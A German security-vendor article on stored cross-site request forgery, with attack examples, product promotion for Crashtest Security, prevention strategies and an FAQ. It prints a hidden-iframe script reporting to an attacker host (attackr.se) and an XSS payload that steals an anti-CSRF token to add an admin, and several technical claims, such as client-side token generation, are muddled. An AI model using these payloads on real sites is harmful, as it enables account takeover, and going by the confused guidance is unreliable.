Cross-Site Request Forgery (CSRF) ist eine Sicherheitslücke, die es einem Angreifer ermöglicht, ungewöhnliche, bösartige Anfragen im Namen eines ahnungslosen Benutzers zu übermitteln. CSRF-Angriffe, die auch als One-Click-Angriffe, Cross-Site Reference Forgery, Session Riding oder Hostile Linking bekannt sind, nutzen das Vertrauen zwischen dem Server und der clientseitigen Sitzung aus und veranlassen das Opfer, Anfragen zu senden, die zu einer unerwünschten Aktion führen. Die Angreifer speichern die CSRF-Nutzdaten oft im Server in einem Angriff, der als gespeicherter CSRF-Angriff bekannt ist. Diese Form des Angriffs ist oft komplexer und kann verwendet werden, um fortgeschrittene Validierungstechniken zu umgehen und mehr als einen regulären Benutzer zu beeinflussen.
In diesem Artikel wird der gespeicherte CSRF-Angriff erörtert und es werden einige Beispiele und Präventionsstrategien zur Vermeidung der gespeicherten CSRF-Schwachstelle untersucht.
Was ist ein gespeicherter Cross-Site Request Forgery-Angriff?
Bei einem gespeicherten CSRF-Angriff verlässt sich ein böswilliger Benutzer auf die Anwendung, um seitenübergreifende Anfragen an den Client-Browser zu übermitteln. Bei diesem Angriff betten die Hacker zusätzliche Anfragen zu zustandsändernden Aktionen in versteckte Formularfelder der Webseite ein. Wenn der Benutzer auf die Schaltfläche „Absenden“ klickt, sendet der Webserver diese Anfragen im Namen des Benutzers.
Im Gegensatz zu anderen seitenübergreifenden Requestfälschungen sind bei dieser Art von Angriff keine drei Schlüsselbedingungen erforderlich, um die Anforderung in die Eingabefelder einzubetten. Dies erhöht die Wahrscheinlichkeit und die Auswirkungen des Angriffs, da ein normaler Benutzer mit größerer Wahrscheinlichkeit die Seite mit den bösartigen Links besucht. Da der Server das Opfer bereits authentifiziert hat, behandelt die Anwendung die CSRF-Nutzdaten als legitime Anfrage. Im Gegensatz dazu hat der Angreifer eine einfache Möglichkeit, anfällige Sitzungs-Token zu erbeuten.
Beispiele für gespeicherte CSRF-Angriffe
Cross-Site Request Forgery ist ein weit verbreiteter Cyberangriff, der für Web-Exploits verwendet wird, indem die Same-Origin-Richtlinie missbraucht wird. Angreifer verwenden verschiedene Ansätze, um gespeicherte CSRF-Nutzdaten an die Zielanwendung zu übermitteln. Einige dieser Ansätze umfassen:
Verwendung von HTML-Tags
Angreifer können die HTML-Tags <iframe> oder <img> verwenden, um bösartige Links zu verstecken, die die gültige Anfrage des Benutzers auf eine vom Angreifer kontrollierte Website umleiten. Da der Angreifer Zugriff auf die serverseitige Anwendung hat, kann er einen unsichtbaren iFrame einbetten, der eine Heartbeat-Funktion verwendet, um die Sitzung eines ahnungslosen Benutzers mit einer zeitlich begrenzten, unsicheren GET-Anfrage abzugreifen. Der Code für diesen unsichtbaren iFrame würde etwa so aussehen:
<!DOCTYPE html>
<html>
<head>
<script>
var IFRAME_ID = "0", GET_SRC =
"http://www.darwin-vulnerable-site.com/some.html?param=1";
</script>
<script src="../iframeGetter.js"></script>
</head>
<body onload="IFRAME_GETTER.onLoad()">
##THIS ATTACK IS SIMPLE SINCE IT USES GET INSTEAD OF POST REQUESTS.
</body>
</html>Der obige Code ist so konfiguriert, dass er den Body IFRAME_GETTER.onLoad() aufruft, sobald die Webseite mit dem Laden des Document Object Model (DOM) des iFrames fertig ist. Die Skriptquelle ist iframeGetter.js, mit einem Codeschnipsel ähnlich dem folgenden:
var IFRAME_GETTER = {};
IFRAME_GETTER.haveGotten = false;
IFRAME_GETTER.reportAndGet = function() {
var imgElement;
if(parent != undefined) {
parent.postMessage(IFRAME_ID,
"https://attackr.se:8444");
}
if(!IFRAME_GETTER.haveGotten) {
imgElement = document.createElement("img");
imgElement.setAttribute("src", GET_SRC);
imgElement.setAttribute("height", "0");
imgElement.setAttribute("width", "0");
imgElement.setAttribute("onerror",
"javascript:clearInterval(IFRAME_GETTER.intervalId)");
document.body.appendChild(imgElement);
IFRAME_GETTER.haveGotten = true;
}
};
IFRAME_GETTER.onLoad = function() {
IFRAME_GETTER.intervalId =
setInterval(IFRAME_GETTER.reportAndGet, 1000);
};Diese Funktion IFRAME_GETTER.onLoad() sorgt dafür, dass der unsichtbare Rahmen jede Sekunde an die Hauptseite berichtet. Sobald der Benutzer auf der Website angemeldet ist, holt sich iframeGetter.js das Sitzungs-Token und sendet es mit einer POST-Anfrage an die vom Angreifer kontrollierte Website (https://attackr.se:8444).
Verwendung eines erweiterten Cross-Site-Scripting-Angriffs
Wenn die Zielanwendung mit einem wirksamen Anti-CSRF-System implementiert ist, aber für Cross-Site-Scripting (XSS) anfällig ist, kann ein böswilliger Benutzer die XSS-Schwachstelle ausnutzen, um den Schutzstapel zu umgehen.
Nehmen wir eine Webseite, die dazu dient, einen neuen Administrator zur Webanwendung hinzuzufügen und deren Code so aussieht:
<form method="get" action="add_admin.php">
Name: <input type="text" name="name" value="" /><br />
<input type="hidden" name="token" value="<?php print $_SESSION['token']; ?>" />
<input type="submit" name="submit" value="add admin" /><br />
</form>Sobald ein Administrator hinzugefügt und die Schaltfläche „Submit“ angeklickt wurde, stellt die Webseite eine Anfrage ähnlich wie diese:
http://site_victim.com/index.php?name=<script src=”http.//127.0.0.1/script.js”></script>Da die Website das serverseitige Sitzungs-Token mit dem vom Client gesendeten abgleicht, um die Sitzung aufzubauen, nutzen Angreifer bösartige Anfragen, um das Token zu erhalten.
Angenommen, die Zielanwendung hat eine Seite, die den folgenden Code enthält:
<?php
if(isset($_GET['name']))
{
print 'Hello,'. $_GET['name'];
}
?>Ein Angreifer kann ein bösartiges Skript für den Cross-Site-Request-Body erstellen, das ähnlich aussieht wie:
document.writeln('<iframe src="/admin/admin.php?action=add_admin"
width="0" height="0" onload="read()"></iframe>');
function read()
{
var name = 'Admin-Name';
var token =
document.getElementById("iframe").contentDocument.forms[0].token.value;
document.writeln('<form width="0" height="0" method="post"
action="/admin/add_admin.php">');
document.writeln('<input type="text" name="name" value="' + name + '" /><br />');
11
document.writeln('<input type="hidden" name="token" value="' + token + '" />');
document.writeln('<input type="submit" name="submit" value="Add_admin" /><br
/>');
document.writeln('</form>');
document.forms[0].submit.click();
}Der Angreifer verwendet XSS-Techniken, um die vom Webserver gestellte Anfrage zu ändern, die das Opfer auf die folgende Seite umleitet:
http://darwin-sample-site.com/admin/add_admin.php?name=Admin-Name&token=aH52G7jtC3&sub
Dadurch wird das Anti-CSRF-Token an den Angreifer weitergegeben, so dass dieser die Kontrolle über die Benutzersitzung übernehmen kann.
Gespeicherter CSRF-Angriff – Schweregrad
CSRF-Schwachstellen fallen unter eine übergreifende Kategorie, die als „Broken Access Control Failures“ bekannt ist. Die fehlerhafte Zugriffskontrolle steht auf Platz 1 der OWASP Top 10 Schwachstellen des Jahres 2021. Da gespeicherte CSRF-Angriffe es Angreifern ermöglichen, unerwünschte Aktionen durchzuführen, hängen die Auswirkungen des Angriffs von der Art der erlangten Informationen und den dem ahnungslosen Benutzer zugewiesenen Berechtigungen ab. Gespeicherte CSRF-Angriffe sind weit verbreitet, da sie keine Änderung der Anforderungsparameter erfordern und dazu verwendet werden können, eine große Anzahl von Unternehmensnutzern in einem einzigen Fall auszunutzen.
Zu den Folgen eines erfolgreichen Angriffs gehören:
- Unbeabsichtigter Geldtransfer oder Kreditkartenbetrug
- Abfangen von Benutzeranmeldeinformationen
- Zerstörung des Vertrauens und Verlust von Kundenbeziehungen
- Umsatzeinbußen in Form von Schadensersatzforderungen, betrügerischen Geldtransfers, Kundenverlusten und Bußgeldzahlungen
Identifizierung und Verhinderung von gespeicherten CSRF-Schwachstellen mit Crashtest Security
Crashtest Security bietet eine Reihe von Tools und Scannern für die Anwendungssicherheit an, mit denen gespeicherte CSRF-Angriffe in wenigen einfachen Schritten erkannt und verhindert werden können. Zu diesen Scannern und Tools gehören unter anderem:
Blackbox-Penetrationstests
Crashtest Security provides comprehensive black box penetration testing to help security teams examine stored CSRF attack vectors within an entire web application stack. With its penetration testing tool, quality assurance teams can replicate a session hijacking exploit to help identify broken access control flaws even with limited knowledge of the application’s architecture, functional logic, or internal processes.
Crashtest Security bietet umfassende Blackbox-Penetrationstests, mit denen Sicherheitsteams gespeicherte CSRF-Angriffsvektoren innerhalb eines gesamten Webanwendungs-Stacks untersuchen können. Mit dem Penetrationstest-Tool von Crashtest Security können Qualitätssicherungsteams einen Session-Hijacking-Angriff replizieren, um Schwachstellen in der Zugriffskontrolle zu identifizieren, selbst wenn sie nur begrenzte Kenntnisse über die Architektur, Funktionslogik oder internen Prozesse der Anwendung haben.
Automatisiertes Scannen von Sicherheitslücken
Crashtest Security Suite hilft bei der Durchsetzung eines automatisierten Scan-Prozesses zur proaktiven Erkennung und Identifizierung von Sicherheitslücken, die zum Missbrauch der impliziten Vertrauensbeziehung zwischen Hosts und Client-Rechnern genutzt werden können. Einige Schwachstellen-Scanner, die Teil der Sicherheitssuite sind, umfassen:
- CSRF-Scanner – Dieser Scanner hilft bei der Identifizierung der CSRF-Sicherheitslücke in APIs und Webanwendungen. Der Scanner setzt eine Blackbox-Testtechnik ein, um zu beurteilen, ob die Anti-CSRF-Mechanismen der Website effektiv implementiert wurden.
- HTTP-Header-Scanner – Viele Webanwendungen übertragen häufig Benutzersitzungs-Tokens in benutzerdefinierten Anfrage-Headern. Der HTTP-Header-Scanner untersucht benutzerdefinierte HTTP-Header, um zu verhindern, dass böswillige Benutzer unsichere Anfragen erstellen, die ein gültiges Anti-Fälschungs-Token offenlegen können.
- JavaScript-Sicherheitsscanner – Angreifer nutzen in der Regel einzelne Aktionsmethoden (GET, POST usw.) zusammen mit fehlerhaftem JavaScript für serverseitige Sitzungsangriffe. Der JavaScript-Sicherheitsscanner erkennt XSS-, CSRF- und JavaScript-Injection-Fehler für einen verbesserten serverseitigen CSRF-Schutz.
OWASP-Scanner – Der OWASP-Scanner bietet umfassenden Schutz vor Bedrohungen, indem er alle Webanwendungen, APIs und Microservices auf die 2021 OWASP Top 10 Anwendungsschwachstellen überprüft. Der Scanner spart Zeit und Budget und stellt gleichzeitig sicher, dass gängige Implementierungstechniken für die Fälschungsschutzvalidierung wie geplant funktionieren.
Leitfaden
CSRF-Angriffe Präventionsguide
Erfahren Sie, wie Sie eine Cross-Site Request Forgery – eine der am weitesten verbreiteten Sicherheitslücken – erkennen und verhindern können.
(Der Leitfaden ist derzeit nur auf Englisch verfügbar.)
Gespeicherte CSRF-Angriffe – Präventionsstrategien
Einige wirksame Methoden zur Verhinderung von gespeicherten CSRF-Angriffen sind:
Verwendung des eingebauten CSRF-Schutzes
Obwohl die meisten Frameworks integrierte Schutzmechanismen gegen CSRF enthalten, wird empfohlen, dass solche Konfigurationen standardmäßig aktiviert sind. Viele Programmiersprachen schützen anfällige Ressourcen auch dadurch, dass sie standardmäßig Anti-CSRF-Tokens enthalten, die implementiert werden sollten, bevor Entwickler die benutzerdefinierte Generierung von Anti-Fälschungs-Tokens versuchen.
Verwendung des Synchronisierungs-Token-Musters
Die Generierung von Fälschungsschutz-Tokens sollte auf der Client-Seite erfolgen. Anwendungsserver sollten überprüfen, ob der angegebene Wert mit dem in den Browseranfragen gespeicherten Anfrage-Token übereinstimmt. Die Verwendung eines Synchronizer-Token-Musters wird auch empfohlen, um sicherzustellen, dass das erzeugte Token für jede Benutzersitzung eindeutig, versteckt und unvorhersehbar ist.
Cookies mit doppelter Übermittlung
Dieser Ansatz stellt einen zustandslosen, einfach zu implementierenden Anti-Fälschungs-Validierungsmechanismus dar, der einen Zufallswert als Anfrageparameter in ein Authentifizierungs-Cookie einfügt. Bei der Cookie-basierten Sitzungsbehandlung erzeugt der Server beim Besuch der Website einen Zufallswert und setzt ihn im Browser. Dieser Wert sollte von der Sitzungskennung getrennt sein. Alle nachfolgenden Anfragen sollten diesen Wert als versteckten Formularwert enthalten. Die Anfrage wird als legitim eingestuft, wenn das verborgene Feld mit den auf der Serverseite generierten Sitzungsvariablen übereinstimmt. Ist dies nicht der Fall, wird die Anfrage zurückgewiesen.
Häufig gestellte Fragen
Was ist der Unterschied zwischen gespeicherten CSRF- und gespeicherten XSS-Angriffen?
Obwohl beide Angriffe persistent sind, zielen sie auf unterschiedliche Funktionalitäten ab. Stored XSS ist eine Art von serverseitigem Exploit, der es dem Hacker ermöglicht, ein bösartiges Skript in Anwendungsservern zu speichern, wodurch der Angreifer auf lokal gespeicherte Informationen zugreifen kann. Beim gespeicherten CSRF-Angriff hingegen wird der Webserver so manipuliert, dass er ein bösartiges Skript an den Client-Browser des ahnungslosen Benutzers zurückgibt.
Wie sollten CSRF-Tokens übertragen werden, um gespeicherte CSRF zu verhindern?
In Anwendungen, die Cookies zur Authentifizierung verwenden, sollten Anti-Fälschungs-Tokens nicht über Sitzungs-Cookies übertragen werden. Anti-CSRF-Tokens in Cookies werden höchstwahrscheinlich von Angreifern mit unsicheren HTTP-Methoden erlangt. Als empfohlene Praxis sollten Anfrage-Tokens mit JavaScript in einen benutzerdefinierten Anfrage-Header eingefügt werden, da benutzerdefinierte Anfrage-Header die Same-Origin-Policy einbeziehen. Mit einem benutzerdefinierten Anfrage-Header lässt der Browser nicht zu, dass JavaScript domänenübergreifende Anfragen stellt, so dass die Fälschungsschutzfunktionen ohne Änderung der Benutzeroberfläche durchgesetzt werden.
Was ist der Unterschied zwischen Anmelde-CSRF und gespeichertem CSRF?
Während stored CSRF ein Angriff ist, der sich auf eine dauerhafte Nutzlast stützt, ist Login CSRF ein Angriff zur Fälschung von Anfragen, bei dem ahnungslose Benutzer dazu gebracht werden, sich bei einem von ihnen kontrollierten Konto anzumelden. Bei stored CSRF übermittelt das Opfer seine Daten an die anfällige Anwendung, während es bei login CSRF seine Daten an ein vom Angreifer kontrolliertes Konto übermittelt.
